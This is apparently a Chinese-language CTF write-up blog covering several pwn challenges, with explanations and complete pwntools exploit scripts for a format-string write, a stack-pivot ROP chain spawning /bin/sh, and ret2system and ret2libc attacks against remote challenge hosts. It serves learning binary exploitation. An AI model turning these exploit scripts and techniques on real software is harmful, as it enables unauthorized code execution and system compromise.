ps:这里只收集一些做到了觉得有学习作用或有点意思的题目,不是所有刷了的题都有
No.GFSJ0465 hello_pwn
sub_400686中执行system读取flag,按题目来读取16个字节
两个量相差4字节,读取时覆盖改变deword_60106C的值即可
1.直接输入
dword_60106C只有dd,也就是4个字节,将1853186401转为16进制0x49 0xD2 0x34 0x6E
后转为字母nuaa,先输入4个a填充然后输入nuaa即可

注意小端序,输入aaun(记不住就左高右低)
2.exp
懒得写了,填充后传p64(1853186401)的值
No.GFSJ1186 welcome_CAT_CTF
本来想做的,靶机没反应。。。
IDA分析一下,内存改大数后就可以直接指向后门函数了,到时候再写
No.GFSJ0463 CGfsb
格式化字符串做的有点少(有点忘了),找道题做做

看到printf直接想到格式化字符串

IDA打开,pwnme可以修改就可以得到flag
NO PIE,bss段上,找偏移量
io.sendline('aaa'+'-%p'*20)

第十个
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#io=process('1')
io=remote("61.147.171.105",49284)
io.recvuntil('name:\n')
io.sendline('nan0in')
io.recvuntil('please:\n')
base_adr=0x0804A068
payload=p32(base_adr)+b'a'*0x4 + b'%10$n'
#io.sendline('aaa'+'-%p'*22)
io.sendline(payload)
io.interactive()
|
stack_login CBCTF复现
dbgbg发现栈上可以写入一个字节…
思路:通过字节覆盖修改栈空间大小,利用多余的空间进行栈溢出
IDA打开,进入myread函数(读取函数)

可以发现myread函数后在读取后会返还i+a1
我们再回到password()中

调用了myread((__int64)v1, 0xE8);
这里的思路是将V1填充完后,我们在第一次读取的时候通过输入一个字节通过加实现栈空间的加,所以往大了输,输入FF
输入三次,第一次username分别传输栈地址(这个不影响之后输入),第二次第三次写passoword,第二次覆盖V2大小然后改写"FF",第三次写的时候覆盖rbp打栈迁移,在迁移后的位置执行rop链
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
io = process("./pwn:")
elf=ELF("./pwn")
gadgets = ROP(elf)
syscall = 0x41947f #打断点第一个syscall地址
rax = gadgets.rax.address
rdi = gadgets.rdi.address
rsi = gadgets.rsi.address
rdx = gadgets.rdx.address
username = 0x4aba58
sh_adr = username +0x50
rop = flat(
rax, 0x3B, rdi, sh_adr, rsi, 0x0, rdx, 0x0, syscall
)
#上面内核没有设置,记得设置不然会segment error
#rop = b''
#rop+= p64(rax) + p64(0x3B) + p64(rdi) + p64(sh_adr) + p64(rsi) + p64(0x0) + p64(rdx) + p64(0x0) + p64(syscall)
io.sendafter(b'username\n',rop+b'/bin/sh/\x0a')
io.sendafter(b'password\n',b'a'*0xe8+b'\xff')
io.sendafter(b'password\n',b'a'*0xe8+p64(0xff)+p64(username)[0:6]+b'\x0a') #栈迁移
io.interactive()
|
day2
CGpwn2
checksec

看字符串窗口,找到system,一眼自己传’/bin/sh’启动shell

main中有get

传两次数据
解答思路:
- 将/bin/sh传到name中
- gets溢出地址到system
- get shell
注意32位system还要传参(随便填就行)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]
elf=ELF("/home/nan0in/CTF/adworld/cgpwn2/1")
sys_addr=elf.symbols['system']
bin_addr=0x0804A080
payload=b'a'*38+b'a'*4+p32(sys_addr)+p32(0xaaaa)+p32(bin_addr)
#p=process('/home/nan0in/CTF/adworld/cgpwn2/1')
p=remote("61.147.171.105",62773)
#gdb.attach(p)
p.sendlineafter('name','/bin/sh')
# p.sendlineafter('name','cat flag')
p.sendlineafter('here',payload)
p.interactive()
|
栈迁移(stack pivoting)
实际上就是执行两次leave ret
leave
:
两条指令实现了函数的转移和完整返回。第一次leave ret可以创建一片新的栈帧,而我们两次leave ret后,便可以使栈上某个位置变成我们执行命令
的工具,可用于
- 使得程序跳转到特定的位置执行恶意代码(如 shellcode 或 ROP 链)。
- 改变函数返回地址或栈上的其他重要数据。
通常会与ROP gadgets 配合使用
level3
libc!libc!这次没有 system,你能帮菜鸡解决这个难题么?
给出了elf文件和libc.so,一般来说就是ret2libc了
关于plt
和got
两个表,简单说一下,详情可以看《程序员的自我修养》或者wiki
.got表:(Global Offset Table)全局偏移表,存储了函数的地址,当程序运行时,会将函数的地址替换为.got表中的地址,为实际便宜表
.plt表:(Procedure Linkage Table)程序链接表,有两个功能:1.在.got.plt中拿到地址跳转;2.如果没有所需地址,使用[链接器]去寻找所需地址
.got.plt表:是got表的一部分,包含上述PLT表所需地址(已经找到和需要去触发的)
而实际题目中,常用手法是调用plt
表中的函数,输出函数在got
表中地址,通过计算得到其他库的函数在程序中的地址
checksec看保护,只开了NX保护
1
2
3
4
5
6
7
|
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
|
一个栈溢出漏洞,没有后门和system,用write输出write在got表中地址,利用libc中write和system的差值计算出system的地址,然后ret2system🤗
先在IDA中看got表

readelf读地址,很快

获取libc中的相对位置:找write和system的相对位置0x84c6b,可以用readelf,也可以脚本里的.symbols。算出write和system的相对位置是0x99A80:
0x15902b和0xd43c0为/bin/sh
和write
的值
相差为0x84c6b
system
与write
相差为-0x99A80
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]
#io=process("/home/nan0in/CTF/adworld/level_3/level3")
io=remote("61.147.171.105",61525)
#gdb.attach(io)
elf=ELF("./level3")
libc=ELF("./libc_32.so.6")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
vul_addr=elf.symbols["vulnerable_function"]
main_addr=elf.symbols["main"]
payload=b'0'*136+b'0'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendlineafter("Input:\n",payload)
write_addr=u32(io.recv()[:4])
binsh_addr=write_addr+0x84c6b #+libc.symbols["write"]
system_addr=write_addr-0x99A80 #-libc.symbols["system"]
payload_2=b'0'*136+b'0'*4+p32(system_addr)+b'aaaa'+p32(binsh_addr) #payload_2=b'0'*136+b'0'*4+p32(system_addr)+p32(0x1234)随便填充一个system的返回地址+p32(binsh_addr)
io.sendline(payload_2)
io.interactive()
|
关于一些刚开始出的奇异问题
- write_addr直接用recv()接收了,实际返回的是字节流,得到write函数的真实地址,32位收到的包长4位,所以用[:4],u32()将字节流转为32位地址